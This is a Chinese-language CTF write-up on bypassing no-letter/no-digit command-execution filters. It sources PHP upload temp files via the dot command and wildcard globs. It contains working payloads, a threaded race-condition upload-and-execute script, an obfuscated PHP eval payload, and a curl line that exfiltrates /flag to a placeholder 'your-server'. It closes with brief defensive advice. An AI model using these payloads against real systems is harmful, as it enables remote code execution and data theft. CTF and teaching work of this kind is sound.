CTFshow命令执行实战:点号(.)在无字母数字限制下的妙用
1. 突破无字母数字限制的核心思路
在CTF比赛中,命令执行类题目常常会设置各种过滤规则来限制选手的操作空间。其中最常见的就是过滤字母和数字字符,这种限制看似严苛,实则暗藏玄机。当遇到这类限制时,我们需要跳出常规思维,寻找那些被忽略的特殊符号的潜在价值。
点号(.)在Linux系统中具有特殊含义,它相当于source命令的简写形式。这个看似不起眼的小点,在特定场景下可以成为突破防线的利器。与常见的通配符绕过不同,点号绕过的核心在于:
- 执行权限无关性:通过点号执行文件时,不需要目标文件具备可执行权限
- 临时文件利用:结合上传功能产生的临时文件,可以构造完整的攻击链
- 正则盲区:多数过滤规则会忽略对点号的限制,形成安全防护的盲点
2. 环境准备与基础知识
2.1 Linux点号命令详解
在Linux系统中,点号(.)主要有以下两种用法:
# 用法1:执行当前shell环境中的脚本 . /path/to/script.sh # 用法2:等同于source命令 source /path/to/script.sh与直接执行脚本不同,点号执行的特点包括:
| 执行方式 | 需要执行权限 | 运行环境 | 变量影响范围 |
|---|---|---|---|
| ./script.sh | 是 | 子shell | 不保留 |
| . script.sh | 否 | 当前shell | 保留 |
2.2 CTF中常见过滤规则分析
典型无字母数字限制的过滤规则通常如下:
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }这条规则过滤了:
- 分号(;)
- 所有字母字符(a-z)
- 反引号(`)
- 百分号(%)
- 水平制表符(\x09)
- &符号(>, <)
- 但未过滤点号(.)
3. 实战操作:从文件上传到命令执行
3.1 构造文件上传数据包
首先需要准备一个能够上传文件的HTML表单:
<!DOCTYPE html> <html> <head> <title>文件上传POC</title> </head> <body> <form action="http://target.url" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="上传"> </form> </body> </html>关键点在于:
- 必须设置
enctype="multipart/form-data" - 文件字段名需要与后端预期一致(通常为
file)
3.2 临时文件特征分析
PHP处理上传文件时,会先将文件存储在临时目录(通常是/tmp),并生成随机文件名。这些文件名的特征为:
/tmp/phpXXXXXX其中XXXXXX是6位随机字符(大小写字母)。我们可以利用通配符匹配这些文件:
| 通配符 | 匹配规则 | 示例匹配结果 |
|---|---|---|
| ? | 匹配单个任意字符 | phpABC123 |
| [@-[] | 匹配大写字母(A-Z) | phpDEF456 |
| * | 匹配任意长度任意字符 | 任何php开头的文件 |
3.3 组合利用技巧
完整的攻击流程分为三个步骤:
- 文件上传:通过表单上传包含恶意命令的脚本文件
- 临时文件定位:使用通配符匹配
/tmp/phpXXXXXX文件 - 命令执行:通过点号执行匹配到的临时文件
实际操作命令示例:
. /???/????????[@-[]这条命令的解析:
/???/:匹配/tmp/目录(假设tmp是3字母)????????:匹配8字符长度的文件名(phpXXXXXX)[@-[]:确保匹配大写字母,提高命中率
4. 高级技巧与变种应用
4.1 无回显场景下的处理
当命令执行没有直接回显时,可以采用以下方法:
- 延时判断:通过
sleep命令观察响应时间差异 - 外带数据:使用curl/wget将结果发送到可控服务器
- 文件写入:将结果写入web目录可访问的文件
#!/bin/sh curl http://your-server/?data=$(cat /flag|base64)4.2 多级通配符优化
在更严格的过滤环境下,可以组合使用多种通配符:
. /???/php???[A-Z]*这种写法:
- 精确匹配php前缀
- 限制随机字符范围
- 适应不同长度的临时文件名
4.3 竞争条件处理
由于临时文件存在时间很短,可能需要多次尝试或自动化脚本:
import requests import threading def upload_and_exec(): while True: files = {'file': ('payload.sh', '#!/bin/sh\ncat /flag', 'text/plain')} requests.post(target_url, files=files) requests.get(target_url, params={'c': '. /???/php??????'}) threads = [threading.Thread(target=upload_and_exec) for _ in range(10)] [t.start() for t in threads]5. 防御方案与题目设计建议
对于防御者而言,防范此类攻击需要多层防护:
输入过滤增强:
// 增加对点号的过滤 if(!preg_match("/\.|\;|[a-z]/i", $c)){ system($c); }临时文件处理:
- 设置
upload_tmp_dir到非标准路径 - 及时清理上传的临时文件
- 设置
权限控制:
location ~* \.(sh|bash)$ { deny all; }
对于CTF题目设计者,可以设计更复杂的场景:
- 限制通配符使用(过滤
?和*) - 增加临时文件名的随机性(混合特殊字符)
- 设置执行超时限制
6. 同类题目扩展思路
这种绕过方式可以衍生出多种变种题目:
- 有限字符集执行:只允许使用
$(){}[]<>?*等特殊符号 - 无文件写入RCE:结合环境变量注入等方式
- 特殊上下文绕过:在
eval()、assert()等不同函数环境下的利用
一个典型的进阶题目示例:
if(!preg_match("/[a-z0-9]|\/|\\\/i", $c)){ eval($c); }解法可能涉及:
?><?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`?>这种场景下,点号绕过的思路同样适用,只是需要结合更多编码技巧。